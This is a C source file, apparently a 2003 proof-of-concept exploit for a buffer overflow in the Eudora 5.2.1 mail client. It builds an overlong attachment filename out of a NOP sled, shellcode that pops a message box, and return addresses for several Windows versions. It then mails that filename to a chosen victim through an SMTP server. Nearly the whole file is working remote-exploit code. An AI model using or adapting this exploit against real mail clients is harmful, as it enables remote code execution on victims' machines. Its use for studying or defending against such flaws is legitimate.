/* * Summary : Eudora 5.2.1 has a remotely exploitable buffer overflow * This vulnerability can be exploited by spoofing an attachment * that has an overly long filename. An overly long filename will * cause ECX to be overwritten, this value is later used in EIP, * thus allowing the execution of arbitrary code. * Note that the filename must begin with a backslash character * in order to trigger the buffer overflow. Dot characters are * not needed, but will trigger the buffer overflow sooner * * History : May 27th, 2003 - first release by Y. Koster */ #include #include typedef struct _arch { char *desc; // Description, i.e. Windows 3.1 char *ret; // return address, this address will eventually be written EIP // shellcode is preceded with NOPs, thus exact address of the // shellcode is not needed char *opp; // OPPCODE, for MessageBoxA, use getaddr to determine: // getaddr USER32.dll MessageBoxA // http://www.harmonysecurity.com/files/getaddr.zip unsigned char bufsize; // Number of bytes that can be written, _before_ ECX is being // overwritten, arround 220 bytes, determine using // trial-and-error ;-) } arch; // architectures desc ret opp bufsize #define ARCHS { {"Win2k dutch 5.0.2195 SP3", "\x12\xF2\xAF", "\x77\xE3\x31\xE3", 225}, \ {"Win2k english 5.0.2195 SP3", "\x12\xF3\x23", "\x77\xE3\x31\xE3", 229}, \ {"WinNT 4.0 english 4.0.1381 SP6", "\x12\xF3\x5A", "\x77\xE8\xB6\xA7", 223}, \ {NULL, NULL, NULL, 0} } /* {"Win98SE dutch 4.10.2222A", "\x8A\xAE\x8C", "\xBF\xC0\x41\x2E", 225}, \ */ #define SMTP_PORT 25 // default smtp port #define NOP '\x90' #define SHELLCODE "\x55" /* PUSH EBP */ \ "\x8B\xEC" /* MOV EBP,ESP */ \ "\x33\xFF" /* XOR EDI,EDI */ \ "\x57" /* PUSH EDI */ \ "\xC6\x45\xFC\x42" /* MOV BYTE PTR SS:[EBP-4],42 */ \ "\xC6\x45\xFD\x6F" /* MOV BYTE PTR SS:[EBP-3],6F */ \ "\xC6\x45\xFE\x6F" /* MOV BYTE PTR SS:[EBP-2],6F */ \ "\xBA%s" /* MOV EDX,USER32.MessageBoxA */ \ "\x52" /* PUSH EDX */ \ "\x57" /* PUSH EDI */ \ "\x8D\x55\xFC" /* LEA EDX,DWORD PTR SS:[EBP-5] */ \ "\x52" /* PUSH EDX */ \ "\x52" /* PUSH EDX */ \ "\x57" /* PUSH EDI */ \ "\xFF\x55\xF8" /* CALL DWORD PTR SS:[EBP-8] */ #define SZSHELLCODE 30 + 4 /* USER32.MessageBoxA */ + 1 /* \0 */ // send data & print data #define SEND send(sock, buf, strlen(buf), 0); \ printf(buf) // receive server response & print response #define RECV buf[recv(sock, buf, sizeof(buf) - 1, 0)] = '\0'; \ printf(buf) // both send data & receive response #define SENDRECV SEND; \ RECV int main(int argc, char *argv[]) { arch archs[] = ARCHS; unsigned int iArch; char buf[1024]; // buffer for sending data & receiving response char opp[5]; char ret[5]; char shell[SZSHELLCODE]; // buffer for storing the shellcode char *attach; // buffer for storing malicious filename unsigned char len; // length of malicious filename unsigned char i; unsigned char j; // variables for setting up a TCP connection and transmintting data WORD wVersionRequested; WSADATA wsaData; SOCKET sock; struct hostent *pHostAddr; struct sockaddr_in sa; // check whether we have enough commandline arguments // note, we won't be evaluating these arguments ;-) if(argc < 4) { // we do not have enough arguments arch *a = archs; i = 1; // print help message printf("Usage: %s \n\n", argv[0]); // list all supported architectures while((*a).desc) printf("\t%d -> %s\n", i++, (*a++).desc); putc('\n', stdout); return 1; } iArch = atoi(argv[1]) - 1; printf("Using arch #%d: %s\n\n", iArch + 1, archs[iArch].desc); // make sure all our buffers are be cleared with zeros ZeroMemory(shell, SZSHELLCODE); ZeroMemory(opp, sizeof(opp)); ZeroMemory(ret, sizeof(ret)); // switch sequence of our oppcode j = 0; for(i = strlen(archs[iArch].opp); i > 0; i--) opp[j++] = archs[iArch].opp[i - 1]; // switch sequence of our return address j = 0; for(i = strlen(archs[iArch].ret); i > 0; i--) ret[j++] = archs[iArch].ret[i - 1]; _snprintf(shell, SZSHELLCODE - 1, SHELLCODE, opp); // determine size of our malicious filename en allocate memory len = archs[iArch].bufsize + strlen(ret) + 1; attach = (char *)malloc(sizeof(char) * len); // never free'd // make sure the buffer is cleared with zeros ZeroMemory(attach, len); // precede our shellcode with NOPs for(i = 0; i < archs[iArch].bufsize - strlen(shell); i++) attach[i] = NOP; // insert shellcode strcat(attach, shell); // add return address strcat(attach, ret); printf("Connecting to %s:%d", argv[3], SMTP_PORT); // load WinSock and request a socket wVersionRequested = MAKEWORD(2, 2); if(WSAStartup(wVersionRequested, &wsaData)) { printf("Could not find a WinSock DLL\n"); return 1; } if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("Winsock version is not 2.2\n"); WSACleanup(); return 1; } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock == INVALID_SOCKET) { printf("Could not create socket\n"); WSACleanup(); return 1; } // w00w00 we obtained a socket // initialize our sockaddr_in struct ZeroMemory(&sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(SMTP_PORT); // set port number // lookup smtp host if(!(pHostAddr = gethostbyname(argv[3]))) { printf("gethostbyname error: for %s\n", argv[3]); WSACleanup(); return 1; } else { // set host sa.sin_addr.S_un.S_addr = *((u_long *)pHostAddr->h_addr); } // connect to the smtp server if(connect(sock, (SOCKADDR *) &sa, sizeof (sa))) { printf("Error connecting to host: %s on port %d\n", argv[3], SMTP_PORT); WSACleanup(); return 1; } printf("...done\n"); printf("Sending e-mail to %s:\n", argv[2]); // send out malicious e-mail to the victim // note the return codes from the smtp server are never checked // sending this e-mail might fail, so always check the output // also note that the single CR character is sometimes converted // to a CR LF, spoofing the attachment will therfore fail RECV; _snprintf(buf, sizeof(buf) - 1, "HELO %s\r\n", argv[3]); SENDRECV; _snprintf(buf, sizeof(buf) - 1, "MAIL FROM: <%s>\r\n", "nobody@example.com"); SENDRECV; _snprintf(buf, sizeof(buf) - 1, "RCPT TO: <%s>\r\n", argv[2]); SENDRECV; _snprintf(buf, sizeof(buf) - 1, "DATA\r\n"); SENDRECV; _snprintf(buf, sizeof(buf) - 1, "\nAttachment Converted\xD: \"\\%s\"\r\n", attach); SEND; _snprintf(buf, sizeof(buf) - 1, ".\r\nQUIT\r\n"); SENDRECV; // close connection with smtp server closesocket(sock); WSACleanup(); // at least we do some cleaning... return 0; }